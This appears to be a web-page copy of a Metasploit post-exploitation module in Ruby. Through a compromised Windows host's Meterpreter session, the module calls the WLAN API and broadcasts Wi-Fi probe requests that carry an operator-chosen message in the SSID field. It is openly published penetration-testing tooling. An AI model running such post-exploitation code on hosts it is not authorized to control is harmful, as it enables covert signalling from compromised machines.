Path: blob/master/modules/post/windows/wlan/wlan_probe_request.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'Windows Send Probe Request Packets',12'Description' => %q{13This module send probe requests through the wlan interface.14The ESSID field will be use to set a custom message.15},16'License' => MSF_LICENSE,17'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>' ],18'Platform' => [ 'win' ],19'SessionTypes' => [ 'meterpreter' ],20'Compat' => {21'Meterpreter' => {22'Commands' => %w[23stdapi_railgun_api24stdapi_sys_process_attach25stdapi_sys_process_getpid26]27}28},29'Notes' => {30'Stability' => [CRASH_SAFE],31'SideEffects' => [],32'Reliability' => []33}34)35)3637register_options(38[39OptString.new('SSID', [true, 'Message to be embedded in the SSID field', '']),40OptInt.new('TIMEOUT', [false, 'Timeout in seconds running probes', '30'])41]42)43end4445def run46ssid = datastore['SSID']47time = datastore['TIMEOUT']4849if ssid.length > 3250fail_with(Failure::BadConfig, 'The SSID must be equal to or less than 32 bytes')51end5253mypid = client.sys.process.getpid54@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)55@wlanapi = client.railgun.wlanapi5657wlan_handle = open_handle58unless wlan_handle59print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")60print_error('On Windows XP this could also mean the Wireless Zero Configuration Service is turned off')61return62end6364# typedef struct _DOT11_SSID {65# ULONG uSSIDLength;66# UCHAR ucSSID[DOT11_SSID_MAX_LENGTH];67# } DOT11_SSID, *PDOT11_SSID;68dot_11_ssid = [ssid.length].pack('L<') << ssid69wlan_iflist = enum_interfaces(wlan_handle)70if wlan_iflist.empty?71print_status('Wlan interfaces not found')72return73end7475print_status("Wlan interfaces found: #{wlan_iflist.length}")76print_status("Sending probe requests for #{time} seconds")77begin78::Timeout.timeout(time) do79loop do80wlan_iflist.each do |interface|81vprint_status("Interface Guid: #{interface['guid'].unpack('H*')[0]}")82vprint_status("Interface State: #{interface['state']}")83vprint_status("DOT11_SSID payload: #{dot_11_ssid.chars.map { |c| c.ord.to_s(16) }.join(':')}")84@wlanapi.WlanScan(wlan_handle, interface['guid'], dot_11_ssid, nil, nil)85sleep(10)86end87end88end89rescue ::Timeout::Error90closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)91if closehandle['return'] == 092print_status('WlanAPI Handle closed successfully')93else94print_error('There was an error closing the Handle')95end96end97end9899# Function borrowed from @theLightCosine wlan_* modules100def open_handle101begin102wlhandle = @wlanapi.WlanOpenHandle(2, nil, 4, 4)103rescue StandardError104return nil105end106return wlhandle['phClientHandle']107end108109# Function borrowed from @theLightCosine wlan_* modules110def enum_interfaces(wlan_handle)111iflist = @wlanapi.WlanEnumInterfaces(wlan_handle, nil, 4)112pointer = iflist['ppInterfaceList']113114numifs = @host_process.memory.read(pointer, 4)115numifs = numifs.unpack('V')[0]116117interfaces = []118119# Set the pointer ahead to the first element in the array120pointer = (pointer + 8)121(1..numifs).each do |_i|122interface = {}123# Read the GUID (16 bytes)124interface['guid'] = @host_process.memory.read(pointer, 16)125pointer = (pointer + 16)126# Read the description(up to 512 bytes)127interface['description'] = @host_process.memory.read(pointer, 512)128pointer = (pointer + 512)129# Read the state of the interface (4 bytes)130state = @host_process.memory.read(pointer, 4)131pointer = (pointer + 4)132# Turn the state into human readable form133state = state.unpack('V')[0]134case state135when 0136interface['state'] = 'The interface is not ready to operate.'137when 1138interface['state'] = 'The interface is connected to a network.'139when 2140interface['state'] = 'The interface is the first node in an ad hoc network. No peer has connected.'141when 3142interface['state'] = 'The interface is disconnecting from the current network.'143when 4144interface['state'] = 'The interface is not connected to any network.'145when 5146interface['state'] = 'The interface is attempting to associate with a network.'147when 6148interface['state'] = 'Auto configuration is discovering the settings for the network.'149when 7150interface['state'] = 'The interface is in the process of authenticating.'151else152interface['state'] = 'Unknown State'153end154interfaces << interface155end156return interfaces157end158end159160161